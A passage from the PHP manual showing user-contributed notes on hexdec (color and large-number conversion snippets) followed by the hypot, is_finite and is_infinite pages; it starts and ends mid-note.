base_convert("fffffffffffffffffffffffffffffffff", 16, 10)
to convert hex values of any size to a decimal string.
holdoffhunger at gmail dot com 26-Jun-2012 03:29
When given large numbers, the hexdec function automatically converts the value to scientific notation.  So, "aa1233123124121241" as a hexadecimal value will be converted to "3.13725790445E+21".  If you're converting a hexadecimal value that represents a hash value (md5 or sha), then you need every single bit of that representation to make it useful.  By using the number_format function, you can do that perfectly.  For example :

<?php

            // Author: holdoffhunger@gmail.com

        // Example Hexadecimal
        // ---------------------------------------------

    $hexadecimal_string = "1234567890abcdef1234567890abcdef";

        // Converted to Decimal
        // ---------------------------------------------

    $decimal_result = hexdec($hexadecimal_string);

        // Print Pre-Formatted Results
        // ---------------------------------------------

    print($decimal_result);

            // Output Here: "2.41978572002E+37"
            // .....................................

        // Format Results to View Whole All Digits in Integer
        // ---------------------------------------------

            // ( Note: All fractional value of the
            //         Hexadecimal variable are ignored
            //         in the conversion. )

    $current_hashing_algorithm_decimal_result = number_format($decimal_result, 0, '', '');

        // Print Formatted Results
        // ---------------------------------------------

    print($current_hashing_algorithm_decimal_result);

            // Output Here: "24197857200151253041252346215207534592"
            // .....................................

?>
sneskid at hotmail dot com 24-Mar-2012 11:50
If you want to create or parse signed Hex strings:

<?php
// $d should be an int
function sdechex($d) { return ($d<0) ? ('-' . dechex(-$d)) : dechex($d); }

// $h should be a string
function shexdec($h) { return ($h[0] === '-') ? -('0x' . substr($h,1) + 0) : ('0x' . $h + 0); }

// test
$h = sdechex(-123); // string(3) "-7b"
$d = shexdec($h);   // int(-123)
var_dump($h, $d);
?>

Also note that ('0x' . $hexstr + 0) is faster than hexdec()
(Tested on PHP v5.2.17)
programacion at mundosica dot com 07-Dec-2011 06:50
Here is other function to transform a MAC Address to decimal:

<?php
function get_mac_decimal($mac) {
    $clear_mac = preg_replace('/[^0-9A-F]/i','',$mac);
    $mac_decimal = array();
    for ($i = 0; $i < strlen($clear_mac); $i += 2 ):
        $mac_decimal[] = hexdec(substr($clear_mac, $i, 2));
    endfor;
    return implode('.',$mac_decimal);
}
?>
andy at haveland dot com 25-Oct-2010 07:55
Here's a short example to convert strings between hex and chars:

<?php
print hextostr("616E647940686176656C616E642E636F6D")."\n";

print strtohex("Knowledge is power")."\n";

function hextostr($x) {
  $s='';
  foreach(explode("\n",trim(chunk_split($x,2))) as $h) $s.=chr(hexdec($h));
  return($s);
}

function strtohex($x) {
  $s='';
  foreach(str_split($x) as $c) $s.=sprintf("%02X",ord($c));
  return($s);
}
?>
hafees at msn dot com 19-Aug-2010 12:31
Use this function to convert a hexa decimal color code to its RGB equivalent. Unlike many other functions provided here, it will work correctly with hex color short hand notation.

Also, if a proper hexa decimal color value is given (6 digits), it uses bit wise operations for faster results.

For eg: #FFF and #FFFFFF will produce the same result

<?php
/**
 * Convert a hexa decimal color code to its RGB equivalent
 *
 * @param string $hexStr (hexadecimal color value)
 * @param boolean $returnAsString (if set true, returns the value separated by the separator character. Otherwise returns associative array)
 * @param string $seperator (to separate RGB values. Applicable only if second parameter is true.)
 * @return array or string (depending on second parameter. Returns False if invalid hex color value)
 */
function hex2RGB($hexStr, $returnAsString = false, $seperator = ',') {
    $hexStr = preg_replace("/[^0-9A-Fa-f]/", '', $hexStr); // Gets a proper hex string
    $rgbArray = array();
    if (strlen($hexStr) == 6) { //If a proper hex code, convert using bitwise operation. No overhead... faster
        $colorVal = hexdec($hexStr);
        $rgbArray['red'] = 0xFF & ($colorVal >> 0x10);
        $rgbArray['green'] = 0xFF & ($colorVal >> 0x8);
        $rgbArray['blue'] = 0xFF & $colorVal;
    } elseif (strlen($hexStr) == 3) { //if shorthand notation, need some string manipulations
        $rgbArray['red'] = hexdec(str_repeat(substr($hexStr, 0, 1), 2));
        $rgbArray['green'] = hexdec(str_repeat(substr($hexStr, 1, 1), 2));
        $rgbArray['blue'] = hexdec(str_repeat(substr($hexStr, 2, 1), 2));
    } else {
        return false; //Invalid hex color code
    }
    return $returnAsString ? implode($seperator, $rgbArray) : $rgbArray; // returns the rgb string or the associative array
} ?>

OUTPUT:

hex2RGB("#FF0") -> array( red =>255, green => 255, blue => 0)
hex2RGB("#FFFF00) -> Same as above
hex2RGB("#FF0", true) -> 255,255,0
hex2RGB("#FF0", true, ":") -> 255:255:0
Rosberg - rosberglinhares at gmail dot com 06-May-2010 05:45
The correct version is:

function bchexdec($hex) {
    static $hexdec = array(
        "0" => 0,
        "1" => 1,
        "2" => 2,
        "3" => 3,
        "4" => 4,
        "5" => 5,
        "6" => 6,
        "7" => 7,
        "8" => 8,
        "9" => 9,
        "A" => 10,
        "B" => 11,
        "C" => 12,
        "D" => 13,
        "E" => 14,
        "F" => 15
    );

    $dec = 0;

    for ($i = strlen($hex) - 1, $e = 1; $i >= 0; $i--, $e = bcmul($e, 16)) {
        $factor = $hexdec[$hex[$i]];
        $dec = bcadd($dec, bcmul($factor, $e));
    }

    return $dec;
}
flurinj at gmx dot net 06-Apr-2010 04:13
Here My version of converting a hex string to a signed decimal value:

<?php

function hexdecs($hex)
{
    // ignore non hex characters
    $hex = preg_replace('/[^0-9A-Fa-f]/', '', $hex);

    // converted decimal value:
    $dec = hexdec($hex);

    // maximum decimal value based on length of hex + 1:
    //   number of bits in hex number is 8 bits for each 2 hex -> max = 2^n
    //   use 'pow(2,n)' since '1 << n' is only for integers and therefore limited to integer size.
    $max = pow(2, 4 * (strlen($hex) + (strlen($hex) % 2)));

    // complement = maximum - converted hex:
    $_dec = $max - $dec;

    // if dec value is larger than its complement we have a negative value (first bit is set)
    return $dec > $_dec ? -$_dec : $dec;
}

?>
Halit YEL - halityesil at globya dot net 02-Oct-2009 10:30
RGB to Hex
Hex to RGB
Function

<?PHP

function rgb2hex2rgb($c){
   if(!$c) return false;
   $c = trim($c);
   $out = false;
  if(preg_match("/^[0-9ABCDEFabcdef\#]+$/i", $c)){
      $c = str_replace('#','', $c);
      $l = strlen($c) == 3 ? 1 : (strlen($c) == 6 ? 2 : false);

      if($l){
         unset($out);
         $out[0] = $out['r'] = $out['red'] = hexdec(substr($c, 0,1*$l));
         $out[1] = $out['g'] = $out['green'] = hexdec(substr($c, 1*$l,1*$l));
         $out[2] = $out['b'] = $out['blue'] = hexdec(substr($c, 2*$l,1*$l));
      }else $out = false;

   }elseif (preg_match("/^[0-9]+(,| |.)+[0-9]+(,| |.)+[0-9]+$/i", $c)){
      $spr = str_replace(array(',',' ','.'), ':', $c);
      $e = explode(":", $spr);
      if(count($e) != 3) return false;
         $out = '#';
         for($i = 0; $i<3; $i++)
            $e[$i] = dechex(($e[$i] <= 0)?0:(($e[$i] >= 255)?255:$e[$i]));

         for($i = 0; $i<3; $i++)
            $out .= ((strlen($e[$i]) < 2)?'0':'').$e[$i];

         $out = strtoupper($out);
   }else $out = false;

   return $out;
}

?>

Output

#FFFFFF =>
 Array{
   red=>255,
   green=>255,
   blue=>255,
   r=>255,
   g=>255,
   b=>255,
   0=>255,
   1=>255,
   2=>255
 }

#FFCCEE =>
 Array{
   red=>255,
   green=>204,
   blue=>238,
   r=>255,
   g=>204,
   b=>238,
   0=>255,
   1=>204,
   2=>238
 }
CC22FF =>
 Array{
   red=>204,
   green=>34,
   blue=>255,
   r=>204,
   g=>34,
   b=>255,
   0=>204,
   1=>34,
   2=>255
 }

0 65 255 => #0041FF
255.150.3 => #FF9603
100,100,250 => #6464FA

[EDIT BY danbrown AT php DOT net - Contains multiple bugfixes by (ajim1417 AT gmail DOT com) on 27-JAN-2010: Replaces typo in explode() and updates eregi() calls to preg_match().]
jose dot rob dot jr at gmail dot com 16-Aug-2009 05:13
I made these functions to pack up to 64 ID's into a mysql unsigned bigint.

ID's cannot repeat, must be <= bit's limit and > 0.

The functions uses php 32 bit's int as unsigned because we don't actually read the number, just the bits. Then 0xFFFFFFFF display -1 but the bit's are there (tested with linux 2.6 i686 and x86_64)

---

This is an other way to make hex to bin conversions:

<?php
function hexbin($hex, $padding = false)
{
    // Validation
    $hex = preg_replace('/^(0x|X)?/i', '', $hex);
    $hex = preg_replace('/[[:blank:]]/', '', $hex);
    if(empty($hex))
    {
        $hex = '0';
    }
    if(!preg_match('/^[0-9A-F]*$/i', $hex))
    {
        trigger_error('Argument is not a hex', E_USER_WARNING);
        return false;
    }

    // Conversion
    $bin = '';
    $hex = array_reverse(str_split($hex));
    foreach($hex as $n)
    {
        $n = hexdec($n);
        for($i = 1; $i <= 8; $i <<= 1)
        {
            $bin .= ($i & $n)? '1' : '0';
        }
        if($padding)
        {
            $bin .= ' ';
        }
    }
    return ltrim(strrev($bin));
}

// Tests
echo "<b>Debug:</b> <pre>";

// Randomly choosed padded number
var_dump(hexbin('00FF FF8F 7F3F FF1F', true));
// string(79) "0000 0000 1111 1111 1111 1111 1000 1111 0111 1111 0011 1111 1111 1111 0001 1111"

// Yellow RGB
var_dump(hexbin('0xF8F800'));
// string(24) "111110001111100000000000"

// Green RGB (padded)
var_dump(hexbin('0x008800', true));
//string(29) "0000 0000 1000 1000 0000 0000"

die("\n<br>debug");

?>

Have fun ;D
Ultimater at gmail dot com 19-Apr-2009 10:54
hexdec doesn't accept numbers following the period.
What if you have a number like c20.db18?
<?php
function floatinghexdec($str)
{
    list($intgr,$hex)=explode('.',$str,2);
    $intgr=ereg_replace("[^A-Fa-f0-9]", "", $intgr);
    $hex=ereg_replace("[^A-Fa-f0-9]", "", $hex);
    $answer=0;
    for($i=0;$i < strlen($hex); $i++)
    {
        $digit=hexdec(substr($hex,$i,1))/16;   // .f is 15/16 because in decimal .9 is 9/10
        $answer += $digit/pow(16,$i);
    }
return hexdec($intgr)+$answer;
}

echo floatinghexdec("ff.ff");//255.99609375
?>
chuckySTAR 15-Apr-2009 10:55
Here's my hexdec function for greater numbers using BC Math

<?php
function bchexdec($hex)
{
    $len = strlen($hex);
    for ($i = 1; $i <= $len; $i++)
        $dec = bcadd($dec, bcmul(strval(hexdec($hex[$i - 1])), bcpow('16', strval($len - $i))));

    return $dec;
}

echo bchexdec('ffffffffffffffffffffffffffffffff') . "\n" . (pow(2, 128));
?>
joquius at kakugo dot com 24-Sep-2008 03:12
Help a hex-stricken string get back to normal:

<?php
$str = preg_replace_callback ("/%([a-zA-Z0-9]{2})/", create_function ('$matches', 'return chr (hexdec ($matches[1]));'), $str);
?>
this1is4me at hotmail dot com 27-May-2008 11:46
In reply to Amit Yadav's post (hex to binary conversion):

function binfromdec($num)
{
  $primary = "bit";
  for ($i=1; $i<=16; $i++)
    ${$primary.$i} = 0;

  if ($num & 32768)   $bit16  = 1;
  if ($num & 16384)   $bit15  = 1;
  if ($num & 8192)    $bit14  = 1;
  if ($num & 4096)    $bit13  = 1;
  if ($num & 2048)    $bit12  = 1;
  if ($num & 1024)    $bit11  = 1;
  if ($num & 512)     $bit10  = 1;
  if ($num & 256)     $bit9   = 1;
  if ($num & 128)     $bit8   = 1;
  if ($num & 64)      $bit7   = 1;
  if ($num & 32)      $bit6   = 1;
  if ($num & 16)      $bit5   = 1;
  if ($num & 8)       $bit4   = 1;
  if ($num & 4)       $bit3   = 1;
  if ($num & 2)       $bit2   = 1;
  if ($num & 1)       $bit1   = 1;

  return ($bit16. $bit15. $bit14. $bit13. $bit12. $bit11. $bit10. $bit9. $bit8. $bit7. $bit6. $bit5. $bit4. $bit3. $bit2. $bit1);
}
Walter Wlodarski 31-Jan-2008 10:33
One of my favourite, multi-purpose, bidirectional solution I wrote many years ago:

function bgr2rgb($cr) {  // bidirectional
    return (($cr & 0x0000FF) << 16 | ($cr & 0x00FF00) | ($cr & 0xFF0000) >> 16);
}

Which you might want to use as :

function hex2cr($hex) {  // strips any leading characters, like #
    return bgr2rgb(hexdec($hex));
}

function cr2hex($cr) { // the usual HTML format, #rrggbb
    return '#'.str_pad(strtoupper(dechex(bgr2rgb($cr))), 6, '0', STR_PAD_LEFT);
}

And, if like me you tend to mistype function names, the synonym :

function rgb2bgr($val) { return bgr2rgb($val); }
maddddidley at yahoo dot com 27-Jan-2008 09:17
Function that combines two rgb colors.

function combineColors($color1, $color2) {

        $color1 = str_replace("#", '', $color1);
        $color2 = str_replace("#", '', $color2);

        $r1 = hexdec(substr($color1, 0, 2));
        $g1 = hexdec(substr($color1, 2, 2));
        $b1 = hexdec(substr($color1, 4, 2));

        $r2 = hexdec(substr($color2, 0, 2));
        $g2 = hexdec(substr($color2, 2, 2));
        $b2 = hexdec(substr($color2, 4, 2));

        $r3 = ceil(($r1 + $r2) / 2);
        $g3 = ceil(($g1 + $g2) / 2);
        $b3 = ceil(($b1 + $b2) / 2);

        $color = rgbhex($r3, $g3, $b3);
        return $color = str_replace("#", '', $color);

    }
Anonymous 14-Nov-2007 05:34
// Função GET Cor Hexadecima e Retorna em RGB
function hexrgb($hexstr, $rgb) {
 $int = hexdec($hexstr);
 switch($rgb) {
        case "r":
        return 0xFF & $int >> 0x10;
            break;
        case "g":
        return 0xFF & ($int >> 0x8);
            break;
        case "b":
        return 0xFF & $int;
            break;
        default:
        return array(
            "r" => 0xFF & $int >> 0x10,
            "g" => 0xFF & ($int >> 0x8),
            "b" => 0xFF & $int
            );
            break;
    }
}// END GET Cor Hex => RGB

//Uso
 echo hexrgb("1a2b3c", r); // 26
 echo hexrgb("1a2b3c", g); // 43
 echo hexrgb("1a2b3c", b); // 60
//ou

var_dump(hexrgb("1a2b3c", rgb)); //array(3) { ["r"]=>  int(26) ["g"]=>  int(43) ["b"]=>  int(60) }
k10206 at naver dot com 27-Oct-2007 06:42
<?
function hexrgb($hexstr) {
    $int = hexdec($hexstr);

    return array("red" => 0xFF & ($int >> 0x10), "green" => 0xFF & ($int >> 0x8), "blue" => 0xFF & $int);
}
?>
Manithu 24-Mar-2007 01:23
This tiny function will return foreground colors (either black or white) in contrast to the color you provide:

<?php

function getContrastColor($color)
{
    return (hexdec($color) > 0xffffff/2) ? '000000' : 'ffffff';
}

?>

This function will return the opposite (negative):

<?php

function negativeColor($color)
{
    //get red, green and blue
    $r = substr($color, 0, 2);
    $g = substr($color, 2, 2);
    $b = substr($color, 4, 2);

    //revert them, they are decimal now
    $r = 0xff-hexdec($r);
    $g = 0xff-hexdec($g);
    $b = 0xff-hexdec($b);

    //now convert them to hex and return.
    return dechex($r).dechex($g).dechex($b);
}

?>
cgarvis at gmail dot com 09-Oct-2006 07:39
Here is my version of hex2rgb for web colors to 24bit colors.

<?php
function hex2rgb_webcolors($hex) {
    $hex = eregi_replace("[^a-fA-F0-9]", "", $hex);
    switch( strlen($hex) ) {
        case 2:
            $hex = substr($hex,0,2)."0000";
            break;
        case 3:
            $hex = substr($hex,0,1).substr($hex,0,1)
            .substr($hex,1,1).substr($hex,1,1)
            .substr($hex,2,1).substr($hex,2,1);
            break;
        case 4:
            $hex = substr($hex,0,4)."00";
            break;
        case 6:
            break;
        default:
            $hex = 0;
            break;
    }
    return hexdec($hex);
}
?>
repley at freemail dot it 29-May-2006 03:55
From color to color to ...... to color with fade effect. Good for dynamic bar chart.

<?php
//MultiColorFade(array hex-colors, int steps)
function MultiColorFade($hex_array, $steps) {

$tot = count($hex_array);
$gradient = array();
$fixend = 2;
$passages = $tot-1;
$stepsforpassage = floor($steps/$passages);
$stepsremain = $steps - ($stepsforpassage*$passages);

   for($pointer = 0; $pointer < $tot-1 ; $pointer++) {

       $hexstart = $hex_array[$pointer];
       $hexend = $hex_array[$pointer + 1];

       if($stepsremain > 0){
           if($stepsremain--){
               $stepsforthis = $stepsforpassage + 1;
           }
       }else{
           $stepsforthis = $stepsforpassage;
       }

       if($pointer > 0){
           $fixend = 1;
       }

       $start['r'] = hexdec(substr($hexstart, 0, 2));
       $start['g'] = hexdec(substr($hexstart, 2, 2));
       $start['b'] = hexdec(substr($hexstart, 4, 2));

       $end['r'] = hexdec(substr($hexend, 0, 2));
       $end['g'] = hexdec(substr($hexend, 2, 2));
       $end['b'] = hexdec(substr($hexend, 4, 2));

       $step['r'] = ($start['r'] - $end['r']) / ($stepsforthis);
       $step['g'] = ($start['g'] - $end['g']) / ($stepsforthis);
       $step['b'] = ($start['b'] - $end['b']) / ($stepsforthis);

       for($i = 0; $i <= $stepsforthis-$fixend; $i++) {

           $rgb['r'] = floor($start['r'] - ($step['r'] * $i));
           $rgb['g'] = floor($start['g'] - ($step['g'] * $i));
           $rgb['b'] = floor($start['b'] - ($step['b'] * $i));

           $hex['r'] = sprintf('%02x', ($rgb['r']));
           $hex['g'] = sprintf('%02x', ($rgb['g']));
           $hex['b'] = sprintf('%02x', ($rgb['b']));

           $gradient[] = strtoupper(implode(NULL, $hex));
       }
   }

   $gradient[] = $hex_array[$tot-1];

return $gradient;
}
//end MultiColorFade()

//start test
$multi_hex_array = array();
$multi_hex_array[] = array('FF0000','FFFF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000');
$multi_hex_array[] = array('FF0000','FFFF00','00FF00','00FFFF','0000FF','000000','FFFFFF');

foreach($multi_hex_array as $hex_array){

   $totcolors = count($hex_array);
   $steps = 44;

   $a = MultiColorFade($hex_array, $steps);
   $tot = count($a);

   $table = '<table border=1 width="300">' . "\n";

   for ($i = 0; $i < $tot; $i++){
       $table .= ' <tr><td bgcolor="' . $a[$i] . '">' . ($i+1) .'</td><td><pre>' . $a[$i] . '</pre></td></tr>' . "\n";
   }

   $table .= '</table><br /><br />';

   echo '<br />Demanded steps = ' . $steps . '<br />';
   echo 'Returned steps = ' . $tot;

   if($steps == $tot){
       echo '<br />OK.' . $steps . ' = ' . $tot . '<br />';
   }else{
       echo '<br /><span style="color:#FF0000">FAILED! Demanded steps and returned steps are NOT equal!: ' . $steps . ' != ' . $tot . '</span><br />';
   }

   echo $table;

}
//end test
?>

Repley.
ayadav at infoprocorp dot com 28-Dec-2005 09:03
From Amit Yadav

Hex to binary conversion

$num = hexdec("20DF");
echo binfromdec($num);

function binfromdec($num)
{
    if ($num > 32766)    return ("Too Large!");
    if ($num & 16384)    $bit15 = 1;
    if ($num & 8192)    $bit14 = 1;
    if ($num & 4096)    $bit13 = 1;
    if ($num & 2048)    $bit12 = 1;
    if ($num & 1024)    $bit11 = 1;
    if ($num & 512)        $bit10 = 1;
    if ($num & 256)        $bit9 = 1;
    if ($num & 128)        $bit8 = 1;
    if ($num & 64)        $bit7 = 1;
    if ($num & 32)        $bit6 = 1;
    if ($num & 16)        $bit5 = 1;
    if ($num & 8)        $bit4 = 1;
    if ($num & 4)        $bit3 = 1;
    if ($num & 2)        $bit2 = 1;
    if ($num & 1)        $bit1 = 1;

    return ("" . $bit15 . $bit14 . $bit13 . $bit12 . $bit11 . $bit10 . $bit9 . $bit8 . $bit7 . $bit6 . $bit5 . $bit4 . $bit3 . $bit2 . $bit1);

}
cory at lavacube dot com 28-Oct-2005 10:59
A handy little function to convert HEX colour codes to "web safe" colours...

<?php

function color_mkwebsafe ( $in )
{
   // put values into an easy-to-use array
   $vals['r'] = hexdec( substr($in, 0, 2) );
   $vals['g'] = hexdec( substr($in, 2, 2) );
   $vals['b'] = hexdec( substr($in, 4, 2) );

   // loop through
   foreach( $vals as $val )
   {
       // convert value
       $val = ( round($val/51) * 51 );
       // convert to HEX
       $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
   }

   return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
detrate at hotmail dot com 30-Sep-2005 03:38
I made this for a little phpbb mod.  It was used to take the hex value from the database and make a color 20 (in decimal) less, resulting a darker color.

EXAMPLE: #336699 to #1f5285

<?php

$row1 = "336699"; // color
$c = 20;          // difference value

$rgb = array(substr($row1,0,2), substr($row1,2,2), substr($row1,4,2));

for($i=0; $i < 3; $i++)
{
  if((hexdec($rgb[$i])-$c) >= 0)
  {
   $rgb[$i] = hexdec($rgb[$i])-$c;

   $rgb[$i] = dechex($rgb[$i]);
    if(hexdec($rgb[0]) <= 9)
     $rgb[$i] = "0".$rgb[$i];
  } else {
    $rgb[$i] = "00";
  }
}

$row2 = $rgb[0].$rgb[1].$rgb[2];

?>
Gabriel Reguly 16-Aug-2005 08:24
After esnhexdec from "rledger at gmail dot com",  the esndechex:

<?php
    function esndechex($dec){
         $a = strtoupper(dechex(substr($dec, 1,  2)));
         $b = strtoupper(dechex(substr($dec, 3, 10)));
         return $a . $b;
    }
?>
bishop 05-Jun-2005 04:51
Bullet-proof hex-to-rgb colour converter like brian at sagesport dot com wanted, just far fewer code lines. As a bonus, gives you the ability to return as string or array:

<?php
    function &hex2rgb($hex, $asString = true)
    {
        // strip off any leading #
        if (0 === strpos($hex, '#')) {
            $hex = substr($hex, 1);
        } else if (0 === strpos($hex, '&H')) {
            $hex = substr($hex, 2);
        }

        // break into hex 3-tuple
        $cutpoint = ceil(strlen($hex) / 2)-1;
        $rgb = explode(':', wordwrap($hex, $cutpoint, ':', $cutpoint), 3);

        // convert each tuple to decimal
        $rgb[0] = (isset($rgb[0]) ? hexdec($rgb[0]) : 0);
        $rgb[1] = (isset($rgb[1]) ? hexdec($rgb[1]) : 0);
        $rgb[2] = (isset($rgb[2]) ? hexdec($rgb[2]) : 0);

        return ($asString ? "{$rgb[0]} {$rgb[1]} {$rgb[2]}" : $rgb);
    }
?>

Handles 2, 3, and 6 character colour codes with leading # or &H.
zubfatal, root at it dot dk 25-Mar-2005 11:36
This replaces my previous class.
I've added a few more input checks in the rgb2hex function.
Also it returned incorrect hex values for 1-digit values.

color::rgb2hex(array(0,0,0)) would output 000 not 00000.

<?php

/**
* Convert colors
*
* Usage:
*  color::hex2rgb("FFFFFF")
*  color::rgb2hex(array(171,37,37))
*
* @author      Tim Johannessen <root@it.dk>
* @version     1.0.1
*/

class color {

    /**
     * Convert HEX colorcode to an array of colors.
     * @return      array        Returns the array of colors as array(red,green,blue)
     */

    function hex2rgb($hexVal = "") {
        $hexVal = eregi_replace("[^a-fA-F0-9]", "", $hexVal);
        if (strlen($hexVal) != 6) { return "ERR: Incorrect colorcode, expecting 6 chars (a-f, 0-9)"; }
        $arrTmp = explode(" ", chunk_split($hexVal, 2, " "));
        $arrTmp = array_map("hexdec", $arrTmp);
        return array("red" => $arrTmp[0], "green" => $arrTmp[1], "blue" => $arrTmp[2]);
    }

    /**
     * Convert RGB colors to HEX colorcode
     * @return      string        Returns the converted colors as a 6 digit colorcode
     */
    function rgb2hex($arrColors = null) {
        if (!is_array($arrColors)) { return "ERR: Invalid input, expecting an array of colors"; }
        if (count($arrColors) < 3) { return "ERR: Invalid input, array too small (3)"; }

        array_splice($arrColors, 3);

        for ($x = 0; $x < count($arrColors); $x++) {
            if (strlen($arrColors[$x]) < 1) {
                return "ERR: One or more empty values found, expecting array with 3 values";
            }

            elseif (eregi("[^0-9]", $arrColors[$x])) {
                return "ERR: One or more non-numeric values found.";
            }

            else {
                if ((intval($arrColors[$x]) < 0) || (intval($arrColors[$x]) > 255)) {
                    return "ERR: Range mismatch in one or more values (0-255)";
                }

                else {
                    $arrColors[$x] = strtoupper(str_pad(dechex($arrColors[$x]), 2, 0, STR_PAD_LEFT));
                }
            }
        }

        return implode("", $arrColors);
    }

}

?>
brian at sagesport dot com 22-Mar-2005 06:08
The issue I've seen with the existing hex to dec conversion routines is the lack of error-trapping.  I stick to the theory that one should try to cover ALL the bases when writing a generalized routine such as this one.  I have a varied background that covers a wide variety of design/development languages, on the web as well as desktop apps.  As such I've seen multiple formats for writing hex colors.

For example, the color red COULD be written as follows:
#ff0000
&Hff0000
#ff
&Hff

Therefore I have written a function that is case-insensitive and takes into account the chance that different developers have a tendency to format hex colors in different ways.

<?php
  function convert_color($hex){
    $len = strlen($hex);
    $chars = array("#","&","H","h");
    $hex = strip_chars($hex, $chars);
    preg_match("/([0-9]|[A-F]|[a-f]){".$len."}/i",$hex,$arr);
    $hex = $arr[0];
    if ($hex) {
      switch($len) {
        case 2:
          $red = hexdec($hex);
          $green = 0;
          $blue = 0;
          break;
        case 4:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = 0;
          break;
        case 6:
          $red = hexdec(substr($hex,0,2));
          $green=hexdec(substr($hex,2,2));
          $blue = hexdec(substr($hex,4,2));
          break;
      };
      $color[success] = true;
      $color[r] = $red;
      $color[g] = $green;
      $color[b] = $blue;
      return $color;
    } else {
      $color[success] = false;
      $color[error] = "unable to convert hex to dec";
    };
  }

  function strip_chars($string, $char){
    $len = strlen($string);
    $count = count($char);
    if ($count >= 2) {
      for ($i=0;$i<=$count;$i++) {
        if ($char[$i]) {
          $found = stristr($string,$char[$i]);
          if ($found) {
            $val = substr($string,$found+1,$len-1);
            $string = $val;
          };
        };
      };
    } else {
      $found = stristr($string,$char);
      if ($found) {
        $val = substr($string,$found+1,$len-1);
      };
    };
    echo $val;
    return $val;
  }

  /*
    To use simply use the following function call:
      $color = convert_color("#FF");
      this will return the following assoc array if successful:
      *[success] = true
      *[r] = 255
      *[g] = 0
      *[b] = 0

      or copy and paste the following code:

      $hex = "FFFFFF"; // Color White
      $color = convert_color($hex);
      var_dump($color);
 */
?>

As you can see, the function "convert_color" accepts a hex # in most acceptable formats and returns an associative array.  [success] is set to TRUE if the function succeeds and FALSE if not.  The array members [r], [g] and [b] hold the red,green and blue values respectively.  If it fails, [error] holds a custom error message.

"strip_chars" is a support function written to remove the unwanted characters from the hex string, and sends the concatenated string back to the calling function.  It will accept either a single value or an array of values for the characters to remove.
groobo 10-Feb-2005 08:46
It's just a revision to marfastic's ligten_up script, it simply adds/subtracts mod_color to orig_color.
I use it often to adjust tonals rather than brightness only

<?
function mod_color($orig_color, $mod, $mod_color){
    /*
        $orig_color - original html color, hex
        $mod_color - modifying color, hex
        $mod - modifier '+' or '-'
        usage: mod_color('CCCCCC', '+', '000033')
    */
    // does quick validation
    preg_match("/([0-9]|[A-F]){6}/i",$orig_color,$orig_arr);
    preg_match("/([0-9]|[A-F]){6}/i",$mod_color,$mod_arr);
    if ($orig_arr[0] && $mod_arr[0]) {
        for ($i=0; $i<6; $i=$i+2) {
            $orig_x = substr($orig_arr[0],$i,2);
            $mod_x = substr($mod_arr[0],$i,2);
            if ($mod == '+') { $new_x = hexdec($orig_x) + hexdec($mod_x); }
            else { $new_x = hexdec($orig_x) - hexdec($mod_x); }
            if ($new_x < 0) { $new_x = 0; }
            else if ($new_x > 255) { $new_x = 255; };
            $new_x = dechex($new_x);
            $ret .= $new_x;
        }
        return $ret;
    } else { return false; }
}
?>
19-Jan-2005 06:33
I wondered long time what is the best way to generate RGB-color from HEX-color, and just now i found the simpliest way!

<?php
$hex = "FF00FF";
$rgb = hexdec($hex); // 16711935
?>

I hope this will save your time! :)
andreas.schmeiler 05-Feb-2003 02:59
Here's another hex2bin variant, works pretty well to me.

function hex2bin($hexdata) {

   for ($i=0;$i<strlen($hexdata);$i+=2) {
      $bindata.=chr(hexdec(substr($hexdata,$i,2)));
   }

   return $bindata;
}
chrism at four dot net 15-Dec-2001 07:02
hexdec from 4.1.0 onwards does not show
the same size limitation and therefore
works differently with large numbers than previous php versions.

To obtain the same results, use:

(int) hexdec (...)


Calculate the length of the hypotenuse of a right-angle triangle

  • « hexdec
  • is_finite »
  • PHP Manual
  • Math Functions
  • Calculate the length of the hypotenuse of a right-angle triangle

hypot

(PHP 4 >= 4.1.0, PHP 5)

hypot — Calculate the length of the hypotenuse of a right-angle triangle

Description

float hypot ( float $x , float $y )

hypot() returns the length of the hypotenuse of a right-angle triangle with sides of length x and y, or the distance of the point (x, y) from the origin. This is equivalent to sqrt(x*x + y*y).

Parameters

x

Length of first side

y

Length of second side

Return Values

Calculated length of the hypotenuse

User Contributed Notes

robinv at ecosse dot net 07-Jan-2004 06:18
A simpler approach would be to allow an arbitrary number of parameters. That would allow for whatever number of dimensions you want *and* it would be backwards compatible with the current implementation.

<?php

function hypo()
{
    $sum = 0;
    foreach (func_get_args() as $dimension) {
        if (!is_numeric($dimension)) return -1;
        $sum += pow($dimension, 2);
    }
    return sqrt($sum);
}

print hypo();          // vector in 0 dimensions, magnitude = 0.
print hypo(1);         // vector in 1 dimension,  magnitude = 1.
print hypo(3, 4);       // vector in 2 dimensions, magnitude = 5.
print hypo(2, 3, 6);     // vector in 3 dimensions, magnitude = 7.

?>


Finds whether a value is a legal finite number

  • « hypot
  • is_infinite »
  • PHP Manual
  • Math Functions
  • Finds whether a value is a legal finite number

is_finite

(PHP 4 >= 4.2.0, PHP 5)

is_finite — Finds whether a value is a legal finite number

Description

bool is_finite ( float $val )

Checks whether val is a legal finite on this platform.

Parameters

val

The value to check

Return Values

TRUE if val is a legal finite number within the allowed range for a PHP float on this platform, else FALSE.

See Also

  • is_infinite() - Finds whether a value is infinite
  • is_nan() - Finds whether a value is not a number

User Contributed Notes

There are no user contributed notes for this page.


Finds whether a value is infinite

  • « is_finite
  • is_nan »
  • PHP Manual
  • Math Functions
  • Finds whether a value is infinite

is_infinite

(PHP 4 >= 4.2.0, PHP 5)

is_infinite — Finds whether a value is infinite

Description

bool is_infinite ( float $val )

Returns TRUE if val is infinite (positive or negative), like the result of log(0) or any value too big to fit into a float on this platform.

Parameters

val

The value to check

Return Values

TRUE if val is infinite, else FALSE.

See Also

  • is_finite() - Finds whether a value is a legal finite number
  • is_nan() - Finds whether a value is not a number

User Contributed Notes

espertalhao04 at hotmail dot com 30-Oct-2013 12:53
fastest version to php <4.2:
<?php function is_infinite($v){$v=$v>>0;return -9e1000==$v||$v==9e1000;}; ?>

the $v=$v>>0; is just to ensure it is a number and its not mandatory.
effectively, the function can be reduced to:
